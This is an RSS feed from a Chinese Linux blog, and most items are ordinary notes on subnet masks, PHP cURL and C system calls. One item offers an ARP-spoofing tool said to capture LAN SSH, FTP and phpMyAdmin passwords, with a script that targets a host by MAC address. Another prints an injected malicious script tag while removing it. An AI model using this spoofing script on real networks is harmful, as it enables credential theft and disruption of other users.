<?xml version="1.0" encoding="UTF-8"?><!-- generator="WordPress/2.5.1" -->
<rss version="0.92">
<channel>
	<title>LINUXQQ</title>
	<link>http://www.linuxqq.net</link>
	<description>LINUXQQ狂人时代</description>
	<lastBuildDate>Tue, 09 Mar 2010 03:18:34 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>子网掩码对照表</title>
		<description><![CDATA[1.掩码255.0.0.0/8(A类地址默认掩码)
2.掩码255.128.0.0/9
3.掩码255.192.0.0/10
4.掩码255.224.0.0/11
5.掩码255.240.0.0/12
6.掩码255.248.0.0/13
7.掩码255.252.0.0/14
8.掩码255.254.0.0/15
9.掩码255.255.0.0/16(B类地址默认掩码)
10.掩码255.255.128.0/17
11.掩码255.255.192.0/18
12.掩码255.255.224.0/19
13.掩码255.255.240.0/20
14.掩码255.255.248.0/21
15.掩码255.255.252.0/22
16.掩码255.255.254.0/23
17.掩码255.255.255.0/24(C类地址默认掩码)
18.掩码255.255.255.128/25
19.掩码255.255.255.192/26
20.掩码255.255.255.224/27
21.掩码255.255.255.240/28
22.掩码255.255.255.248/29
23.掩码255.255.255.252/30
]]></description>
		<link>http://www.linuxqq.net/archives/115.html</link>
			</item>
	<item>
		<title>PHP中的CURL函数库</title>
		<description><![CDATA[PHP中的CURL函数库（Client URL Library Function）
curl_close - 关闭一个curl会话
curl_copy_handle - 拷贝一个curl连接资源的所有内容和参数
curl_errno - 返回一个包含当前会话错误信息的数字编号
curl_error - 返回一个包含当前会话错误信息的字符串
curl_exec - 执行一个curl会话
curl_getinfo - 获取一个curl连接资源句柄的信息
curl_init - 初始化一个curl会话
curl_multi_add_handle - 向curl批处理会话中添加单独的curl句柄资源
curl_multi_close - 关闭一个批处理句柄资源
curl_multi_exec - 解析一个curl批处理句柄
curl_multi_getcontent - 返回获取的输出的文本流
curl_multi_info_read - 获取当前解析的curl的相关传输信息
curl_multi_init - 初始化一个curl批处理句柄资源
curl_multi_remove_handle - 移除curl批处理句柄资源中的某个句柄资源
curl_multi_select - Get all the sockets associated with the cURL extension, which can then be &#8220;selected&#8221;
curl_setopt_array - 以数组的形式为一个curl设置会话参数
curl_setopt - 为一个curl设置会话参数
curl_version - 获取curl相关的版本信息
curl_init()函数的作用初始化一个curl会话，curl_init()函数唯一的一个参数是可选的，表示一个url地址。
curl_exec()函数的作用是执行一个curl会话，唯一的参数是curl_init()函数返回的句柄。
curl_close()函数的作用是关闭一个curl会话，唯一的参数是curl_init()函数返回的句柄。
 
]]></description>
		<link>http://www.linuxqq.net/archives/114.html</link>
			</item>
	<item>
		<title>东四IDC联通机房托管</title>
		<description><![CDATA[东四IDC联通机房托管 ]]></description>
		<link>http://www.linuxqq.net/archives/113.html</link>
			</item>
	<item>
		<title>linux arp工具+脚本</title>
		<description><![CDATA[对ＬＩＮＵＸ下所用的arp欺骗工具＋自己写的脚本，由于在安装工具方便问题多多比较困难，所以发布该脚本.
    该脚本针对centos4.0/5.0 redhat 4.0/5.0  经测试可以抓出局域网ＳＳＨ,FTP,PHPMYADMIN密码
　下载地址








网上有很多相关的资料　可以搜索下arpspoof
以下是自己写的对内网某ip限速脚本,此工具强大,强制突破360arp防火墙.
#!/bin/bash
Gateway=192.168.1.1
FILE=/usr/local/test
nmap 192.168.1.0/24 &#124; grep -10 00:1A:A1:28:38:7F &#124; grep -o ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’ &#62;$FILE
if [ $? -eq 0 ]
then
{
read pig
} &#60;$FILE
else
echo “Pigs not only on line”
fi
arpspoof -t &#38;Gateway $pig
 
 grep -10 00:1A:A1:28:38:7F 这段ＭＡＣ地址是你要限速的ＭＡＣ地址,根据ＭＡＸ欺骗
作者linux qq
转载http://www.linuxqq.com/a/zy/2009/1122/589.html
]]></description>
		<link>http://www.linuxqq.net/archives/112.html</link>
			</item>
	<item>
		<title>清楚木马下所有ＰＨＰ木马脚本</title>
		<description><![CDATA[#!/bin/sh
if [ $# -gt 1  ]; then
    echo &#8220;Usage: $0 [FileName]&#8221;
    exit 1
elif [ $# -eq 1 ]; then
    MY_FILE=$1
else
    MY_FILE=$0
fi
if [ ! -f $MY_FILE ]; then
    echo &#8220;$MY_FILE does not exist!&#8221;
    exit 2
fi
MY_LINE_NO=1
while read MY_LINE
do
  perl -pi -e &#8217;s&#124;&#60;script src=http:\/\/vanbeurden-porsche.be\/library\/index.php &#62;&#60;\/script&#62;&#124; &#124;g&#8217; $MY_LINE
done &#60; $MY_FILE
 
先使用 find . /-name &#62;123 然后./shell.sh 123
&#60;script src=http:\/\/vanbeurden-porsche.be\/library\/index.php &#62;&#60;\/script&#62;
这句是木马　里面的反斜杠转义的意思
]]></description>
		<link>http://www.linuxqq.net/archives/111.html</link>
			</item>
	<item>
		<title>centos 5  S5000VSA lsi raid 1 安装方法</title>
		<description><![CDATA[   驱动找了好久死活不对。阅读了官网的说明:按以下步骤
 开机创建RAID1
 光盘引导：输入linux nostorage
 会出现 DONE 和ADD DRIVCE
 选择ADD DRIVER 按回车
按F2选择SDA
找到列表里面的驱动。按回车
回到上一步了DONE 和ADD DRIVER
在选择那驱动 敲回车 就开始安装了
 OK了
]]></description>
		<link>http://www.linuxqq.net/archives/110.html</link>
			</item>
	<item>
		<title>linux select 函数阻塞</title>
		<description><![CDATA[ struct timeval timeout;
 timeout.tv_sec=10 意思是10秒之类如果没有发生改变，函数则立即返回。
]]></description>
		<link>http://www.linuxqq.net/archives/109.html</link>
			</item>
	<item>
		<title>Linux下操作信号量概述</title>
		<description><![CDATA[Linux下操作信号量概述

ftok函数是根据pathname和proj来创建一个关键字。
semget创建一个信号量。成功时返回信号的ID，key是一个关键字，可以是用ftok创建的也可以是IPC_PRIVATE表明由系统选用一个关键字。nsems表明我们创建的信号个数。semflg是创建的权限标志，和我们创建一个文件的标志相同。
semctl对信号量进行一系列的控制。semid是要操作的信号标志，semnum是信号的个数，cmd是操作的命令。经常用的两个值是:SETVAL(设置信号量的值)和IPC_RMID(删除信号灯)。arg是一个给cmd的参数。
semop是对信号进行操作的函数。semid是信号标志，spos是一个操作数组表明要进行什么操作，nspos表明数组的个数。如果sem_op大于0，那么操作将sem_op加入到信号量的值中，并唤醒等待信号增加的进程。如果为0，当信号量的值是0的时候，函数返回，否则阻塞直到信号量的值为0。如果小于0，函数判断信号量的值加上这个负值。如果结果为0唤醒等待信号量为0的进程，如果小与0函数阻塞。如果大于0，那么从信号量里面减去这个值并返回

]]></description>
		<link>http://www.linuxqq.net/archives/108.html</link>
			</item>
	<item>
		<title>dup函数</title>
		<description><![CDATA[dup函数 ：复制文件描述符
相关头文件：#include &#60;unistd.h&#62;
函数表达式：int dup(int filedes);
参数说明：dup的函数参数filedes表示需要复制的文件的文件描述符
返回值说明：如果成功复制一个文件返回新的文件描述符，失败则返回-1
函数功能详解：dup函数总是找到进程文件表中的第一个可用的文件描述符 ，将参数指定的文件描述符 复制到该描述符后 ，返回这个描述符。
函数使用说明：
        dup函数总是将复试的文件描述符复制到进程中第一个可用的文件描述符的位置 ，因此利用这一个特性可以知道进程中最小可用的文件描述符 。
        dup函数复制的文件必须是一个已经打开的有效文件 。dup函数的参数不能是随便的一个整数，从而避免引起系统混乱。
利用函数dup，我们可以复制一个描述符。传给该函数一个既有的描述符，它就会返回一个新的描述符，
这个新的描述符是传给它的描述符的拷贝。这意味着，这两个描述符共享同一个数据结构。例如，
如果我们对一个文件描述符执行lseek操作，得到的第一个文件的位置和第二个是一样的。
需要注意的是，我们可以在调用fork之前建立一个描述符，这与调用dup建立描述符的效果是一样的，
子进程也同样会收到一个复制出来的描述符。
dup2函数跟dup函数相似，但dup2函数允许调用者规定一个有效描述符和目标描述符的id。dup2函数成功返回时，目标描述符（dup2函数的第二个参数）将变成源描述符（dup2函数的第一个参数）的复制品，换句话说，
两个文件描述符现在都指向同一个文件，并且是函数第一个参数指向的文件。下面我们用一段代码加以说明： ?
int oldfd;
oldfd = open(&#8221;app_log&#8221;, (O_RDWR &#124; O_CREATE), 0644 );
dup2( oldfd, 1 );
close( oldfd );
注：
dup()或者dup2()主要是将某个特定的文件描述字输出输出的重定向！
他们保证将复制的文件描述字到当前未打开的最小描述字！
标准输出对应着1，
close(1);
dup(fd);
close(fd);
先关掉了标准输出，那么这个描述字就空闲着，你一旦dup就重定向到他了，他们两共享同一个打开的文件表项，然后你将输出标准流到它现在指定的地方，也就是那个文件！
建议使用dup2(),上面的你那个改为
dup2(fd,STDOUT_FILENO);
这样好看多了吧？
本例中，我们打开了一个新文件，称为“app_log”，并收到一个文件描述符，该描述符叫做fd1。我们调用dup2函数，
参数为oldfd和1，这会导致用我们新打开的文件描述符替换掉由1代表的文件描述符（即stdout，因为标准输出文件的id为1）。
任何写到stdout的东西，现在都将改为写入名为“app_log”的文件中。
需要注意的是，dup2函数在复制了oldfd之后，会立即将其关闭，但不会关掉新近打开的文件描述符，因为文件描述符1现在也指向它。
下面我们介绍一个更加深入的示例代码：
1: #include &#60;stdio.h&#62;
 2: #include &#60;stdlib.h&#62;
3: #include &#60;unistd.h&#62;
 4:
 5: int main()
6: {
7: int pfds[2];
 8:
 9: if ( pipe(pfds) == 0 ) &#8230;{ //建立一个管道
 10:
 11: if ( fork() == 0 ) &#8230;{ //子进程
12:
13: close(1); [...]]]></description>
		<link>http://www.linuxqq.net/archives/107.html</link>
			</item>
	<item>
		<title>信号屏蔽字</title>
		<description><![CDATA[ 
四、信号屏蔽字：
有时候我们希望进程正确的执行，而不想进程受到信号的影响，比如我们希望上面那个程序在1秒钟之后不结束。这个时候我们就要进行信号的操作了。
信号操作最常用的方法是信号屏蔽。信号屏蔽要用到下面的几个函数。
sigemptyset，sigfillset，sigaddset，sigdelset，sigismember，sigprocmask。下面对他们分别进行讲解。
 
8．





名称:：


sigemptyset/sigfillset/sigaddset/sigdelset/sigismember




功能：


处理信号集




头文件：


#include &#60;signal.h&#62;




函数原形：


int sigemptyset(sigset_t *set);
int sigfillset(sigset_t *set);
int sigaddset(sigset_t *set,int signum);
int sigdelset(sigset_t *set,int signum);
int sigismember(const sigset_t *set,int signum);




参数：


set 信号集
signum 信号




返回值：


若成功返回0，若出错返回-1。
若真返回1，若假返回0，若出错返回-1。 sigismember




      
 
 
 
 
 
 
 
 
 我们需要有一个能表示多个信号—信号集的数据类型。我们将在诸如sigprocmask之类的函数中使用这种数据类型，以便告诉内核不允许发生该信号集中的信号。上面的5个函数可以对信号集进行处理。
函数sigemptyset 初始化由set指向的信号集，清除其中所有信号。函数sigfillset初始化由set指向的信号集，使其包含所有信号。所以信号在使用信号集前，要对信号集调用sigemptyset或sigfillset一次。
函数sigaddset 将一个信号添加到现有集中，sigdelset则从信号集中删除一个信号。对所有以信号集作为参数的函数，我们总是以信号集地址作为其传送的参数。
       sigismember查询信号是否在信号集合之中。
下面的例子：





/*10_7.c*/
#include &#60;stdio.h&#62;
#include &#60;signal.h&#62;
 
main()
{
sigset_t *set;
set=(sigset_t*)malloc(sizeof(set));
 
sigemptyset(set);/*初始化信号集*/
sigaddset(set,SIGUSR1);/*添加信号SIGUSR1到信号集中*/
sigaddset(set,SIGINT);/*添加信号SIGUSR2到信号集中*/
 
if((sigismember(set,SIGUSR1))==1)/*测试信号SIGUSR1是否在信号集中*/
    printf(“SIGUSR1\n”);
if((sigismember(set,SIGUSR2))==1)
    printf(“SIGUSR2\n”);
if((sigismember(set,SIGINT))==1)
    printf(“SIGINT\n”);
}
 




 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
下面是执行结果：





# ./10_7
SIGUSR1
SIGINT




程序先初始化信号集，清除其中所有信号，然后把SIGUSR1和SIGINT添加到信号集中，然后测试SIGUSR1，SIGUSR2，SIGINT信号是否在信号集中。因为SIGUSR2不在信号集中，所以程序并不打印SIGUSR2。
 
9．





名称:：


sigprocmask




功能：


检测或更改信号屏蔽字




头文件：


#include &#60;signal.h&#62;




函数原形：


int sigprocmask(int how,const sigsett_t *set,sigset_t *oldset);




参数：


how  操作方式
set   信号集
oldest 




返回值：


若成功返回0，若出错返回-1。




 
 
 
 
 
 
 
 
 
 
 
 
每个进程都有一个用来描述哪些信号递送到进程时将被阻塞的信号集，该信号集中的所有信号在递送到进程后都将被阻塞。 
sigprocmask是最为关键的一个函数。在使用之前要先设置好信号集合set。这个函数的作用是将指定的信号集合set加入到进程的信号阻塞集合之中去，如果提供了oldset那么当前的进程信号阻塞集合将会保存在oldset里面。参数how决定函数的操作方式。
SIG_BLOCK：增加一个信号集合到当前进程的阻塞集合之中。
SIG_UNBLOCK：从当前的阻塞集合之中删除一个信号集合。
SIG_SETMASK：将当前的信号集合设置为信号阻塞集合。
 
我们把10_7.c稍微修改一下，看看sigprocmask函数的功能。





/*10_8.c*/
#include &#60;stdio.h&#62;
#include &#60;signal.h&#62;
 
main()
{
sigset_t *set;
set=(sigset_t*)malloc(sizeof(set));
 
sigemptyset(set);/*定义信号集set*/
sigaddset(set,SIGINT);/*把信号SIGINT添加到信号集中*/
sigprocmask(SIG_SETMASK,set,NULL);/*把set设置为信号阻塞集合*/
wile(1);/*死循环*/
}




程序先定义信号集set，然后把信号SIGINT添加到set信号集中，最后把set设置为信号阻塞集合。当我们运行程序时，进程进入死循环。我们按“ctrl+c”系统并没有中断程序，因为我们已经把SIGINT信号屏蔽掉了。我们可以按”ctrl+z”来结束程序。
sigeprocmask函数通常和sigemptyset/sigfillset/sigaddset/sigdelset/sigismember函数配合使用，主要有两种用途：
1．我们不希望某些不太重要的信号来影响我们的进程，我们就可以把这些信号添加到信号屏蔽集中。使它们不打扰进程的执行。
2．如果系统现在很忙，没有时间及时相应信号，进程可以先把信号阻塞掉，等系统有空闲时间在去相应，这也保证了信号的可靠性。下面的函数可以做到这一点。
 
10．





名称:：


sigpending




功能：


返回信号集




头文件：


#include &#60;signal.h&#62;




函数原形：


int sigpending(sigset_t *set);




参数：


 




返回值：


若成功返回0，若出错返回-1。




 
 
 
 
 
 
 
 
 
我们要注意的是，阻塞信号并不是丢弃信号，它们被保存在一个进程的信号阻塞队列里，sigpending可以获得当前已递送到进程，却被阻塞的所有信号，在set指向的信号集中返回这些信号。
 
下面是一个例子：





/*10_9.c*/
#include &#60;stdio.h&#62;
#include &#60;signal.h&#62;
#include &#60;stdlib.h&#62;
 
int main(void)
{
sigset_t newmask,oldmask,pendmask;
 
sigemptyset(&#38;newmask);  /*初始化信号集*/
sigaddset(&#38;newmask,SIGINT);  /*添加信号SIGINT到信号集*/
if(sigprocmask(SIG_BLOCK,&#38;newmask,&#38;oldmask)&#60;0)  /*信号集newmask设置为阻塞信号集*/
    perror(“error”);
sleep(5);
if(sigpending(&#38;pendmask)&#60;0)  /*把当前已递送到进程，却被阻塞的信号保存到进程的信号阻塞队列里*/
    [...]]]></description>
		<link>http://www.linuxqq.net/archives/106.html</link>
			</item>
</channel>
</rss>
